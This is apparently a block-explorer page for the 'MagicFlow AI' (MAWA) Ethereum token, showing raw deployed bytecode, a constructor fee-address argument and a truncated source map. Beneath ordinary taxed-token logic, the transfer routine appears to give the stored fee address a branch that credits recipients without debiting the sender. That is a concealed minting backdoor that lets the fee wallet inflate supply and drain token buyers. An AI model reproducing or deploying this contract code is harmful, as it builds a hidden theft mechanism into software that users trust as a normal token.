0x6080604052600436106101235760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b411461030d578063a9059cbb1461033a578063c876d0b91461035a578063ce564c0914610374578063dd62ed3e1461038957600080fd5b8063715018a61461028f5780637d1db4a5146102a45780638da5cb5b146102ba5780638f9a55c0146102e25780639048fac1146102f857600080fd5b806323b872dd116100e757806323b872dd146101f1578063313ce567146102115780635672ca931461022d578063676005c01461024457806370a082311461025957600080fd5b806303e06bfe1461012f57806306fdde0314610158578063095ea7b3146101965780630faee56f146101c657806318160ddd146101dc57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5061014560115481565b6040519081526020015b60405180910390f35b34801561016457600080fd5b5060408051808201909152600c81526b4d61676963466c6f7720414960a01b60208201525b60405161014f919061164b565b3480156101a257600080fd5b506101b66101b13660046116ae565b6103cf565b604051901515815260200161014f565b3480156101d257600080fd5b5061014560125481565b3480156101e857600080fd5b506101456103e6565b3480156101fd57600080fd5b506101b661020c3660046116da565b610407565b34801561021d57600080fd5b506040516012815260200161014f565b34801561023957600080fd5b50610242610470565b005b34801561025057600080fd5b50610242610517565b34801561026557600080fd5b5061014561027436600461171b565b6001600160a01b031660009081526001602052604090205490565b34801561029b57600080fd5b506102426105d3565b3480156102b057600080fd5b50610145600f5481565b3480156102c657600080fd5b506000546040516001600160a01b03909116815260200161014f565b3480156102ee57600080fd5b5061014560105481565b34801561030457600080fd5b50610242610647565b34801561031957600080fd5b506040805180820190915260048152634d41574160e01b6020820152610189565b34801561034657600080fd5b506101b66103553660046116ae565b6109e9565b34801561036657600080fd5b506006546101b69060ff1681565b34801561038057600080fd5b506102426109f6565b34801561039557600080fd5b506101456103a4366004611738565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103dc338484610a93565b5060015b92915050565b60006103f46012600a61186b565b610402906305f5e10061187a565b905090565b6000610414848484610bb7565b610466843361046185604051806060016040528060288152602001611a1c602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061114a565b610a93565b5060019392505050565b6000546001600160a01b031633146104a35760405162461bcd60e51b815260040161049a90611891565b60405180910390fd5b600047116104e85760405162461bcd60e51b81526020600482015260126024820152714e6f2045544820746f20776974686472617760701b604482015260640161049a565b60405133904780156108fc02916000818181858888f19350505050158015610514573d6000803e3d6000fd5b50565b6000546001600160a01b031633146105415760405162461bcd60e51b815260040161049a90611891565b61054d6012600a61186b565b61055b906305f5e10061187a565b600f5561056a6012600a61186b565b610578906305f5e10061187a565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b26012600a61186b565b6105c0906305f5e10061187a565b60405190815260200160405180910390a1565b6000546001600160a01b031633146105fd5760405162461bcd60e51b815260040161049a90611891565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106715760405162461bcd60e51b815260040161049a90611891565b601454600160a01b900460ff16156106cb5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161049a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107149030906107066012600a61186b565b610461906305f5e10061187a565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610767573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078b91906118c6565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081191906118c6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561085e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088291906118c6565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306108ca816001600160a01b031660009081526001602052604090205490565b6000806108df6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610947573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096c91906118e3565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105149190611911565b60006103dc338484610bb7565b6000546001600160a01b03163314610a205760405162461bcd60e51b815260040161049a90611891565b601454600160a01b900460ff1615610a7a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161049a565b6014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610af55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049a565b6001600160a01b038216610b565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049a565b6001600160a01b038216610c7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049a565b60008111610cdf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049a565b6001600160a01b038316600090815260046020526040812054819060ff16158015610d2357506001600160a01b03841660009081526004602052604090205460ff16155b156110bc57610d546064610d4e600b54600e5411610d4357600754610d47565b6009545b8690611184565b9061120d565b601454909250600160b01b900460ff168015610d735750600d54600e54115b8015610d80575060115483115b601454909150600160a01b900460ff16610dd55760405162461bcd60e51b815260206004820152601660248201527554726164696e67206973206e6f74206f70656e65642160501b604482015260640161049a565b60065460ff1615610eba576013546001600160a01b03858116911614801590610e0c57506014546001600160a01b03858116911614155b15610eba57326000908152600560205260409020544311610ea75760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161049a565b3260009081526005602052604090204390555b6014546001600160a01b038681169116148015610ee557506013546001600160a01b03858116911614155b8015610f0a57506001600160a01b03841660009081526004602052604090205460ff16155b15610ff257600f54831115610f615760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161049a565b60105483610f84866001600160a01b031660009081526001602052604090205490565b610f8e9190611933565b1115610fdc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161049a565b600e8054906000610fec83611946565b91905055505b6014546001600160a01b03858116911614801561101857506001600160a01b0385163014155b15611045576110426064610d4e600c54600e541161103857600854610d47565b600a548690611184565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561107c57506014546001600160a01b038681169116145b80156110855750815b156110ba576011548111156110b1576110b16110ac856110a78460125461124f565b61124f565b611264565b6110ba476113de565b505b811561113657306000908152600160205260409020546110dc9083611420565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061112d9086815260200190565b60405180910390a35b6111428585858561147f565b505050505050565b6000818484111561116e5760405162461bcd60e51b815260040161049a919061164b565b50600061117b848661195f565b95945050505050565b600082600003611196575060006103e0565b60006111a2838561187a565b9050826111af8583611972565b146112065760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049a565b9392505050565b600061120683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115db565b600081831161125e5782611206565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ac576112ac611994565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611305573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132991906118c6565b8160018151811061133c5761133c611994565b6001600160a01b0392831660209182029290920101526013546113629130911684610a93565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061139b9085906000908690309042906004016119aa565b600060405180830381600087803b1580156113b557600080fd5b505af11580156113c9573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561141c573d6000803e3d6000fd5b5050565b60008061142d8385611933565b9050838110156112065760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049a565b6006546000906001600160a01b038681166101009092041614611593576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0388166000908152600190915291909120546114ee91859061114a565b6001600160a01b0386166000908152600160205260409020556115336115148484611609565b6001600160a01b03861660009081526001602052604090205490611420565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61157d8686611609565b60405190815260200160405180910390a36115d0565b6001600160a01b0384166000908152600160205260409020546115b69084611420565b6001600160a01b0385166000908152600160205260409020555b506001949350505050565b600081836115fc5760405162461bcd60e51b815260040161049a919061164b565b50600061117b8486611972565b600061120683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061114a565b600060208083528351808285015260005b818110156116785785810183015185820160400152820161165c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461051457600080fd5b600080604083850312156116c157600080fd5b82356116cc81611699565b946020939093013593505050565b6000806000606084860312156116ef57600080fd5b83356116fa81611699565b9250602084013561170a81611699565b929592945050506040919091013590565b60006020828403121561172d57600080fd5b813561120681611699565b6000806040838503121561174b57600080fd5b823561175681611699565b9150602083013561176681611699565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117c25781600019048211156117a8576117a8611771565b808516156117b557918102915b93841c939080029061178c565b509250929050565b6000826117d9575060016103e0565b816117e6575060006103e0565b81600181146117fc576002811461180657611822565b60019150506103e0565b60ff84111561181757611817611771565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715611845575081810a6103e0565b61184f8383611787565b806000190482111561186357611863611771565b029392505050565b600061120660ff8416836117ca565b80820281158282048414176103e0576103e0611771565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118d857600080fd5b815161120681611699565b6000806000606084860312156118f857600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561192357600080fd5b8151801515811461120657600080fd5b808201808211156103e0576103e0611771565b60006001820161195857611958611771565b5060010190565b818103818111156103e0576103e0611771565b60008261198f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119fa5784516001600160a01b0316835293830193918301916001016119d5565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d2c0256e73296a6cf1e5614d354600a7fa40b44114a5b43299e4a0c82fc7b7f064736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000032ed0c9052ca8ca28070fad95305fac723f40883
-----Decoded View---------------
Arg [0] : _magicFeeAddr (address): 0x32ed0C9052cA8Ca28070fad95305FaC723f40883
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000032ed0c9052ca8ca28070fad95305fac723f40883
Deployed Bytecode Sourcemap
3792:8584:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4956:54;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4956:54:0;;;;;;;;5770:83;;;;;;;;;;-1:-1:-1;5840:5:0;;;;;;;;;;;;-1:-1:-1;;;5840:5:0;;;;5770:83;;;;;;;:::i;7968:161::-;;;;;;;;;;-1:-1:-1;7968:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;7968:161:0;1205:187:1;5017:50:0;;;;;;;;;;;;;;;;6047:95;;;;;;;;;;;;;:::i;8137:313::-;;;;;;;;;;-1:-1:-1;8137:313:0;;;;;:::i;:::-;;:::i;5956:83::-;;;;;;;;;;-1:-1:-1;5956:83:0;;4642:2;2000:36:1;;1988:2;1973:18;5956:83:0;1858:184:1;7260:185:0;;;;;;;;;;;;;:::i;:::-;;6909:201;;;;;;;;;;;;;:::i;6150:119::-;;;;;;;;;;-1:-1:-1;6150:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6243:18:0;6216:7;6243:18;;;:9;:18;;;;;;;6150:119;2873:148;;;;;;;;;;;;;:::i;4834:53::-;;;;;;;;;;;;;;;;2659:79;;;;;;;;;;-1:-1:-1;2697:7:0;2724:6;2659:79;;-1:-1:-1;;;;;2724:6:0;;;2445:51:1;;2433:2;2418:18;2659:79:0;2299:203:1;4894:55:0;;;;;;;;;;;;;;;;6277:624;;;;;;;;;;;;;:::i;5861:87::-;;;;;;;;;;-1:-1:-1;5933:7:0;;;;;;;;;;;;-1:-1:-1;;;5933:7:0;;;;5861:87;;7642:167;;;;;;;;;;-1:-1:-1;7642:167:0;;;;;:::i;:::-;;:::i;4196:40::-;;;;;;;;;;-1:-1:-1;4196:40:0;;;;;;;;7453:175;;;;;;;;;;;;;:::i;7817:143::-;;;;;;;;;;-1:-1:-1;7817:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7925:18:0;;;7898:7;7925:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7817:143;7968:161;8043:4;8060:39;494:10;8083:7;8092:6;8060:8;:39::i;:::-;-1:-1:-1;8117:4:0;7968:161;;;;;:::o;6047:95::-;6100:7;4700:13;4642:2;4700;:13;:::i;:::-;4686:27;;:11;:27;:::i;:::-;6120:14;;6047:95;:::o;8137:313::-;8235:4;8252:36;8262:6;8270:9;8281:6;8252:9;:36::i;:::-;8299:121;8308:6;494:10;8330:89;8368:6;8330:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8330:19:0;;;;;;:11;:19;;;;;;;;494:10;8330:33;;;;;;;;;;:37;:89::i;:::-;8299:8;:121::i;:::-;-1:-1:-1;8438:4:0;8137:313;;;;;:::o;7260:185::-;2786:6;;-1:-1:-1;;;;;2786:6:0;494:10;2786:22;2778:67;;;;-1:-1:-1;;;2778:67:0;;;;;;;:::i;:::-;;;;;;;;;7351:1:::1;7327:21;:25;7319:56;;;::::0;-1:-1:-1;;;7319:56:0;;5151:2:1;7319:56:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:48;5267:18;;7319:56:0::1;4949:342:1::0;7319:56:0::1;7386:51;::::0;7394:10:::1;::::0;7415:21:::1;7386:51:::0;::::1;;;::::0;::::1;::::0;;;7415:21;7394:10;7386:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7260:185::o:0;6909:201::-;2786:6;;-1:-1:-1;;;;;2786:6:0;494:10;2786:22;2778:67;;;;-1:-1:-1;;;2778:67:0;;;;;;;:::i;:::-;4700:13:::1;4642:2;4700;:13;:::i;:::-;4686:27;::::0;:11:::1;:27;:::i;:::-;6967:12;:22:::0;4700:13:::1;4642:2;4700;:13;:::i;:::-;4686:27;::::0;:11:::1;:27;:::i;:::-;7000:14;:22:::0;7033:20:::1;:26:::0;;-1:-1:-1;;7033:26:0::1;::::0;;7075:27:::1;4700:13;4642:2;-1:-1:-1::0;4700:13:0::1;:::i;:::-;4686:27;::::0;:11:::1;:27;:::i;:::-;7075;::::0;160:25:1;;;148:2;133:18;7075:27:0::1;;;;;;;6909:201::o:0;2873:148::-;2786:6;;-1:-1:-1;;;;;2786:6:0;494:10;2786:22;2778:67;;;;-1:-1:-1;;;2778:67:0;;;;;;;:::i;:::-;2980:1:::1;2964:6:::0;;2943:40:::1;::::0;-1:-1:-1;;;;;2964:6:0;;::::1;::::0;2943:40:::1;::::0;2980:1;;2943:40:::1;3011:1;2994:19:::0;;-1:-1:-1;;;;;;2994:19:0::1;::::0;;2873:148::o;6277:624::-;2786:6;;-1:-1:-1;;;;;2786:6:0;494:10;2786:22;2778:67;;;;-1:-1:-1;;;2778:67:0;;;;;;;:::i;:::-;6348:11:::1;::::0;-1:-1:-1;;;6348:11:0;::::1;;;6347:12;6339:47;;;::::0;-1:-1:-1;;;6339:47:0;;5498:2:1;6339:47:0::1;::::0;::::1;5480:21:1::0;5537:2;5517:18;;;5510:30;5576:25;5556:18;;;5549:53;5619:18;;6339:47:0::1;5296:347:1::0;6339:47:0::1;6399:15;:80:::0;;-1:-1:-1;;;;;;6399:80:0::1;6436:42;6399:80:::0;;::::1;::::0;;;6492:58:::1;::::0;6509:4:::1;::::0;4700:13:::1;4642:2;4700;:13;:::i;:::-;4686:27;::::0;:11:::1;:27;:::i;6492:58::-;6595:15;;;;;;;;;-1:-1:-1::0;;;;;6595:15:0::1;-1:-1:-1::0;;;;;6595:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6577:55:0::1;;6641:4;6648:15;;;;;;;;;-1:-1:-1::0;;;;;6648:15:0::1;-1:-1:-1::0;;;;;6648:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6577:94;::::0;-1:-1:-1;;;;;;6577:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6134:15:1;;;6577:94:0::1;::::0;::::1;6116:34:1::0;6186:15;;6166:18;;;6159:43;6051:18;;6577:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6561:13;:110:::0;;-1:-1:-1;;;;;6561:110:0;;::::1;-1:-1:-1::0;;;;;;6561:110:0;;::::1;;::::0;;6682:15:::1;::::0;::::1;:31;6721:21;6752:4;6758:24;6752:4:::0;-1:-1:-1;;;;;6243:18:0;6216:7;6243:18;;;:9;:18;;;;;;;6150:119;6758:24:::1;6783:1;6785::::0;6787:7:::1;2697::::0;2724:6;-1:-1:-1;;;;;2724:6:0;;2659:79;6787:7:::1;6682:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6682:129:0;;;-1:-1:-1;;;;;6572:15:1;;;6682:129:0::1;::::0;::::1;6554:34:1::0;6604:18;;;6597:34;;;;6647:18;;;6640:34;;;;6690:18;;;6683:34;6754:15;;;6733:19;;;6726:44;6795:15:0::1;6786:19:1::0;;;6779:35;6488:19;;6682:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6829:13:0::1;::::0;6860:15:::1;::::0;6822:71:::1;::::0;-1:-1:-1;;;6822:71:0;;-1:-1:-1;;;;;6860:15:0;;::::1;6822:71;::::0;::::1;7310:51:1::0;-1:-1:-1;;7377:18:1;;;7370:34;6829:13:0;::::1;::::0;-1:-1:-1;6822:29:0::1;::::0;7283:18:1;;6822:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;7642:167::-:0;7720:4;7737:42;494:10;7761:9;7772:6;7737:9;:42::i;7453:175::-;2786:6;;-1:-1:-1;;;;;2786:6:0;494:10;2786:22;2778:67;;;;-1:-1:-1;;;2778:67:0;;;;;;;:::i;:::-;7524:11:::1;::::0;-1:-1:-1;;;7524:11:0;::::1;;;7523:12;7515:47;;;::::0;-1:-1:-1;;;7515:47:0;;7899:2:1;7515:47:0::1;::::0;::::1;7881:21:1::0;7938:2;7918:18;;;7911:30;7977:25;7957:18;;;7950:53;8020:18;;7515:47:0::1;7697:347:1::0;7515:47:0::1;7573:11;:18:::0;;-1:-1:-1;;;;7602:18:0;-1:-1:-1;;;7602:18:0;;;7453:175::o;8458:335::-;-1:-1:-1;;;;;8551:19:0;;8543:68;;;;-1:-1:-1;;;8543:68:0;;8251:2:1;8543:68:0;;;8233:21:1;8290:2;8270:18;;;8263:30;8329:34;8309:18;;;8302:62;-1:-1:-1;;;8380:18:1;;;8373:34;8424:19;;8543:68:0;8049:400:1;8543:68:0;-1:-1:-1;;;;;8630:21:0;;8622:68;;;;-1:-1:-1;;;8622:68:0;;8656:2:1;8622:68:0;;;8638:21:1;8695:2;8675:18;;;8668:30;8734:34;8714:18;;;8707:62;-1:-1:-1;;;8785:18:1;;;8778:32;8827:19;;8622:68:0;8454:398:1;8622:68:0;-1:-1:-1;;;;;8701:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8753:32;;160:25:1;;;8753:32:0;;133:18:1;8753:32:0;;;;;;;8458:335;;;:::o;8801:2384::-;-1:-1:-1;;;;;8889:18:0;;8881:68;;;;-1:-1:-1;;;8881:68:0;;9059:2:1;8881:68:0;;;9041:21:1;9098:2;9078:18;;;9071:30;9137:34;9117:18;;;9110:62;-1:-1:-1;;;9188:18:1;;;9181:35;9233:19;;8881:68:0;8857:401:1;8881:68:0;-1:-1:-1;;;;;8968:16:0;;8960:64;;;;-1:-1:-1;;;8960:64:0;;9465:2:1;8960:64:0;;;9447:21:1;9504:2;9484:18;;;9477:30;9543:34;9523:18;;;9516:62;-1:-1:-1;;;9594:18:1;;;9587:33;9637:19;;8960:64:0;9263:399:1;8960:64:0;9052:1;9043:6;:10;9035:64;;;;-1:-1:-1;;;9035:64:0;;9869:2:1;9035:64:0;;;9851:21:1;9908:2;9888:18;;;9881:30;9947:34;9927:18;;;9920:62;-1:-1:-1;;;9998:18:1;;;9991:39;10047:19;;9035:64:0;9667:405:1;9035:64:0;-1:-1:-1;;;;;9196:24:0;;9112:22;9196:24;;;:18;:24;;;;;;9112:22;;9196:24;;9195:25;:52;;;;-1:-1:-1;;;;;;9225:22:0;;;;;;:18;:22;;;;;;;;9224:23;9195:52;9191:1737;;;9293:76;9365:3;9293:67;9315:15;;9305:9;;:25;9304:55;;9345:14;;9304:55;;;9332:12;;9304:55;9293:6;;:10;:67::i;:::-;:71;;:76::i;:::-;9405:11;;9276:93;;-1:-1:-1;;;;9405:11:0;;;;:43;;;;;9430:18;;9420:9;;:28;9405:43;:74;;;;;9461:18;;9452:6;:27;9405:74;9504:11;;9384:95;;-1:-1:-1;;;;9504:11:0;;;;9496:46;;;;-1:-1:-1;;;9496:46:0;;10279:2:1;9496:46:0;;;10261:21:1;10318:2;10298:18;;;10291:30;-1:-1:-1;;;10337:18:1;;;10330:52;10399:18;;9496:46:0;10077:346:1;9496:46:0;9563:20;;;;9559:490;;;9622:15;;-1:-1:-1;;;;;9608:30:0;;;9622:15;;9608:30;;;;:62;;-1:-1:-1;9656:13:0;;-1:-1:-1;;;;;9642:28:0;;;9656:13;;9642:28;;9608:62;9604:430;;;9758:9;9729:39;;;;:28;:39;;;;;;9800:12;-1:-1:-1;9695:242:0;;;;-1:-1:-1;;;9695:242:0;;10630:2:1;9695:242:0;;;10612:21:1;10669:2;10649:18;;;10642:30;10708:34;10688:18;;;10681:62;10779:34;10759:18;;;10752:62;-1:-1:-1;;;10830:19:1;;;10823:40;10880:19;;9695:242:0;10428:477:1;9695:242:0;9989:9;9960:39;;;;:28;:39;;;;;10002:12;9960:54;;9604:430;10077:13;;-1:-1:-1;;;;;10069:21:0;;;10077:13;;10069:21;:55;;;;-1:-1:-1;10108:15:0;;-1:-1:-1;;;;;10094:30:0;;;10108:15;;10094:30;;10069:55;:83;;;;-1:-1:-1;;;;;;10130:22:0;;;;;;:18;:22;;;;;;;;10128:24;10069:83;10065:313;;;10192:12;;10182:6;:22;;10174:60;;;;-1:-1:-1;;;10174:60:0;;11112:2:1;10174:60:0;;;11094:21:1;11151:2;11131:18;;;11124:30;11190:27;11170:18;;;11163:55;11235:18;;10174:60:0;10910:349:1;10174:60:0;10287:14;;10277:6;10261:13;10271:2;-1:-1:-1;;;;;6243:18:0;6216:7;6243:18;;;:9;:18;;;;;;;6150:119;10261:13;:22;;;;:::i;:::-;:40;;10253:79;;;;-1:-1:-1;;;10253:79:0;;11596:2:1;10253:79:0;;;11578:21:1;11635:2;11615:18;;;11608:30;11674:28;11654:18;;;11647:56;11720:18;;10253:79:0;11394:350:1;10253:79:0;10351:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10065:313;10403:13;;-1:-1:-1;;;;;10397:19:0;;;10403:13;;10397:19;:43;;;;-1:-1:-1;;;;;;10420:20:0;;10435:4;10420:20;;10397:43;10394:179;;;10478:79;10553:3;10478:70;10500:16;;10490:9;;:26;10489:58;;10532:15;;10489:58;;;10518:13;;10478:6;;:10;:70::i;:79::-;10461:96;;10394:179;10638:4;10589:28;6243:18;;;:9;:18;;;;;;10664:6;;-1:-1:-1;;;10664:6:0;;;;10663:7;:30;;;;-1:-1:-1;10680:13:0;;-1:-1:-1;;;;;10674:19:0;;;10680:13;;10674:19;10663:30;:52;;;;;10697:18;10663:52;10659:258;;;10760:18;;10739:20;:39;10736:111;;;10780:67;10797:49;10801:6;10808:37;10812:20;10833:11;;10808:3;:37::i;:::-;10797:3;:49::i;:::-;10780:16;:67::i;:::-;10866:35;10879:21;10866:12;:35::i;:::-;9249:1679;9191:1737;10943:16;;10940:176;;11016:4;10998:24;;;;:9;:24;;;;;;:44;;11027:14;10998:28;:44::i;:::-;10991:4;10973:24;;;;:9;:24;;;;;;;:69;;;;11060:44;;-1:-1:-1;;;;;11060:44:0;;;;;;;11089:14;160:25:1;;148:2;133:18;;14:177;11060:44:0;;;;;;;;10940:176;11128:49;11144:4;11150:2;11154:6;11162:14;11128:15;:49::i;:::-;;8870:2315;;8801:2384;;;:::o;1551:190::-;1637:7;1673:12;1665:6;;;;1657:29;;;;-1:-1:-1;;;1657:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1697:9:0;1709:5;1713:1;1709;:5;:::i;:::-;1697:17;1551:190;-1:-1:-1;;;;;1551:190:0:o;1749:246::-;1807:7;1831:1;1836;1831:6;1827:47;;-1:-1:-1;1861:1:0;1854:8;;1827:47;1884:9;1896:5;1900:1;1896;:5;:::i;:::-;1884:17;-1:-1:-1;1929:1:0;1920:5;1924:1;1884:17;1920:5;:::i;:::-;:10;1912:56;;;;-1:-1:-1;;;1912:56:0;;12446:2:1;1912:56:0;;;12428:21:1;12485:2;12465:18;;;12458:30;12524:34;12504:18;;;12497:62;-1:-1:-1;;;12575:18:1;;;12568:31;12616:19;;1912:56:0;12244:397:1;1912:56:0;1986:1;1749:246;-1:-1:-1;;;1749:246:0:o;2003:132::-;2061:7;2088:39;2092:1;2095;2088:39;;;;;;;;;;;;;;;;;:3;:39::i;11784:98::-;11841:7;11868:1;11866;:3;11865:9;;11873:1;11865:9;;;-1:-1:-1;11871:1:0;11784:98;-1:-1:-1;11784:98:0:o;11890:483::-;5349:6;:13;;-1:-1:-1;;;;5349:13:0;-1:-1:-1;;;5349:13:0;;;11992:16:::1;::::0;;12006:1:::1;11992:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11992:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11992:16:0::1;11968:40;;12037:4;12019;12024:1;12019:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12019:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12063:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12063:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12019:7;;12063:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12053:4;12058:1;12053:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12053:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12128:15:::1;::::0;12096:62:::1;::::0;12113:4:::1;::::0;12128:15:::1;12146:11:::0;12096:8:::1;:62::i;:::-;12169:15;::::0;:196:::1;::::0;-1:-1:-1;;;12169:196:0;;-1:-1:-1;;;;;12169:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12250:11;;12169:15:::1;::::0;12292:4;;12319::::1;::::0;12339:15:::1;::::0;12169:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5385:6:0;:14;;-1:-1:-1;;;;5385:14:0;;;-1:-1:-1;;;;11890:483:0:o;7118:96::-;7175:14;;:31;;:14;;;;-1:-1:-1;;;;;7175:14:0;;:31;;;;;;;;;;;;:14;:31;;;;;;;;;;;;;;;;;;;;;7118:96;:::o;1220:179::-;1278:7;;1310:5;1314:1;1310;:5;:::i;:::-;1298:17;;1339:1;13